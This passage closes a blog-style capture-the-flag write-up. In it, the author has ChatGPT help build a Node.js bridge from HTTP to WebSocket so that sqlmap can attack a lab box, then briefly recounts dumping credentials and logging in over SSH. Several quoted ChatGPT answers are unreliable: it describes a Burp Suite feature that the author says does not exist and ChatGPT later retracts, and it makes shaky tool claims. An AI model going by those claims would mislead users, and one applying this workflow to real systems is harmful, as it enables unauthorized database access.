ChatGPT: Burp Suite can forward HTTP requests to WebSockets by using the WebSocket proxy feature. Here are the steps to configure Burp Suite to forward an HTTP request to a WebSocket:
1.	Start Burp Suite and open the Proxy tab.
2.	Click on the WebSockets tab.
3.	Click on the Add button to create a new WebSocket forwarder.
4.	In the WebSocket Forwarder dialog box, configure the settings for the WebSocket forwarder:
•	In the Host field, enter the hostname of the WebSocket server.
•	In the Port field, enter the port number of the WebSocket server.
•	In the Path field, enter the path of the WebSocket endpoint on the server.
•	In the Protocol field, select the protocol that the WebSocket uses (for example, ws or wss).
•	In the Forward to field, select the option that corresponds to where you want to forward the WebSocket traffic:
-	"Specific listener" if you want to forward it to a specific listener
-	"Upstream proxy" if you want to forward it to an upstream proxy
5.	Click on OK to save the WebSocket forwarder.
After that, you have to forward the request to the websocket, you can do this by:
1.	Go to the Proxy Tab, and select the WebSockets Tab.
2.	In the WebSockets Tab, you should see the websocket you've just created.
3.	Select the websocket, and click on the "Intercept" button.
4.	When the request that you want to forward arrives, select it, and click on "Forward"
Please note that this process may vary depending on the specific version of Burp Suite you're using.
It's also important to always use this kind of tools on a test environment, and not in a production environment without proper authorization, and also, that you have obtained proper authorization and consent to perform such tests.

I'm not aware of such a feature in BurpSuite...

Me: Are you sure? there's no WebSockets tab on proxy tab and I don't know any feature in burp suite that allow you to create a "WebSocket forwarder"

ChatGPT: I apologize for the confusion, Burp Suite does not have a built-in feature to forward HTTP requests to WebSockets. Burp Suite is an HTTP/HTTPS proxy tool, it does not have functionality to forward WebSocket messages.
WebSockets are a different protocol, and while Burp Suite can capture and inspect WebSocket messages, it does not have the ability to forward them to another destination.
You can use other tools, like mitmproxy or wscat, that can forward WebSocket traffic.
Again, I apologize for any confusion caused by my previous response and if you have any other question, please let me know.

Me: I need a proxy that forward http request on websocket request

ChatGPT: I apologize for any confusion, it seems I misunderstood your previous question.
There are a few different options for forwarding HTTP requests to WebSocket requests:
1.	wsproxy: A simple WebSocket proxy that can forward HTTP requests to WebSocket requests.
2.	node-http-proxy: A Node.js module that can forward HTTP requests to WebSocket requests.
3.	HAProxy: A popular open-source load balancer and proxy that can forward HTTP requests to WebSocket requests.
4.	Envy: A tool that allows you to forward any incoming HTTP request to a WebSocket server.
5.	Nginx: A web server that can forward HTTP requests to WebSocket requests using its nginx-http-proxy-module
Again, it would be best to evaluate each option based on your specific requirements and use case.
Please note that it's important to always use this kind of tools on a test environment, and not in a production environment without proper authorization, and also, that you have obtained proper authorization and consent to perform such tests.

Me: can you explain how to use wsproxy to forward HTTP request to was?

ChatGPT: wsproxy is a WebSocket proxy and it's not designed to forward HTTP requests to WebSocket requests. The tool is designed to forward WebSocket traffic from one location to another.
If you want to forward HTTP requests to WebSocket requests, you can use a different tool like HAProxy, Envy, Nginx or node-http-proxy which are designed to do that.
You can use HAProxy, for example, to forward HTTP traffic to a WebSocket server. Here's an example configuration:
frontend http-in
    bind *:80
    mode http
    default_backend websockets

backend websockets
    mode http
    balance roundrobin
    option forwardfor
    server websocket1 127.0.0.1:8000
This configuration listens on port 80 for incoming HTTP requests and forwards them to the websocket1 server running on 127.0.0.1:8000.
You can use Envy to forward any incoming HTTP request to a WebSocket server. Here's an example configuration:
$ envy -l :80 -w ws://localhost:8080
This command listens on port 80 for incoming HTTP requests and forwards them to the WebSocket server running on localhost:8080
You can use Nginx to forward HTTP requests to WebSocket requests using its nginx-http-proxy-module
Here's an example configuration:
location /ws {
    proxy_pass http://localhost:8080;
    proxy_http_version 1.1;
    proxy_set_header Upgrade $http_upgrade;
    proxy_set_header Connection "upgrade";
}
This configuration listens on a specific location /ws for incoming HTTP requests and forwards them to the WebSocket server running on localhost:8080
Please note that it's important to always use this kind of tools on a test environment, and not in a production environment without proper authorization, and also, that you have obtained proper authorization and consent to perform such tests.

Well, having reached this point, I had a series of problems following the steps suggested by ChatGPT. I must say that it worked very hard to help me, going so far as to present three different alternatives; unfortunately, each solution had a problem, perhaps due to my inability at this point, but very often, after multiple attempts, ChatGPT concluded with a sentence like "I'm sorry for the misunderstanding, but this is not the right tool for what you want to do." As a result, I asked ChatGPT to do what it has proven to be very good at.

Me: please generate a nodejs script for me!

ChatGPT: Here's an example of a Node.js script to forward HTTP requests to a WebSocket endpoint:
const http = require('http');
const WebSocket = require('ws');
const server = http.createServer((req, res) => {
  // Get the querystring from the HTTP request
  const query = require('url').parse(req.url, true).query;
  // Create a WebSocket connection to the desired endpoint
  const ws = new WebSocket('ws://your-ws-endpoint.com');
  // When the WebSocket is open, send the query as a JSON object
  ws.on('open', () => {
    ws.send(JSON.stringify(query));
  });
  // When a message is received from the WebSocket, write it to the HTTP response
  ws.on('message', (data) => {
    res.write(data);
    res.end();
  });
});
server.listen(8080, () => {
  console.log('HTTP server listening on port 8080');
});
In this example, the HTTP server listens on port 8080 and when a request is received, it extracts the querystring from the URL and sends it as a JSON object to the WebSocket endpoint ws://your-ws-endpoint.com. The response from the WebSocket is then written back to the HTTP response.
You'll need to replace ws://your-ws-endpoint.com with the actual WebSocket endpoint you want to forward the requests to.

Great, this time we're here, and as I imagined, the script works perfectly. Just direct the scan with sqlmap to the localhost and be very patient. Shortly after a targeted dump to the DB, the user table reveals the credentials to access the BOX via the channel SSH, where we can easily retrieve the user flag.

Conclusions

Well, there's still a long way to go before Skynet becomes self-aware and takes over the entire world (unless it's so advanced that it's just pretending it isn't until you inadvertently reveal John Connor's location to it). Nonetheless, there is certainly potential. Admittedly, ChatGPT alone still cannot go too far and needs human support for this type of activity. I didn't expect it to show me the way step by step. However, the continuous blocking in the face of problems and the constant repetition of the same sentences highlight a lack of that intuitive and proactive aspect, which is a typical human characteristic.

The feeling is that during those moments of difficulty, ChatGPT continued to search for solutions, which, not having access to the network (as it has repeatedly stated), were represented by a limited set. The lack of connection did not allow it to be proactive, trying to search for valid alternatives (as I actually do when faced with something beyond my existing knowledge).

However, there are some positive notes, namely, ChatGPT's ability to generate code or script payloads with impressive speed and simplicity. Even when faced with programming constraints (as we've seen at various times), ChatGPT can adapt and modify the code to meet the requirements that its interlocutor presents.

If I were to approach the same activity without ChatGPT, it would take me longer to complete it. In short, it's easier and faster to ask ChatGPT, in this case, than to Google or implement it yourself, even if you know the language.

ChatGPT is an unbeatable ally in some ways, but it still needs to work on more human aspects, such as inventiveness and proactiveness!

John Connor should be around 38 now. I don't know where he is at the moment, but in nine years, he'll be reprogramming a terminator in one of the factories where they build terminators.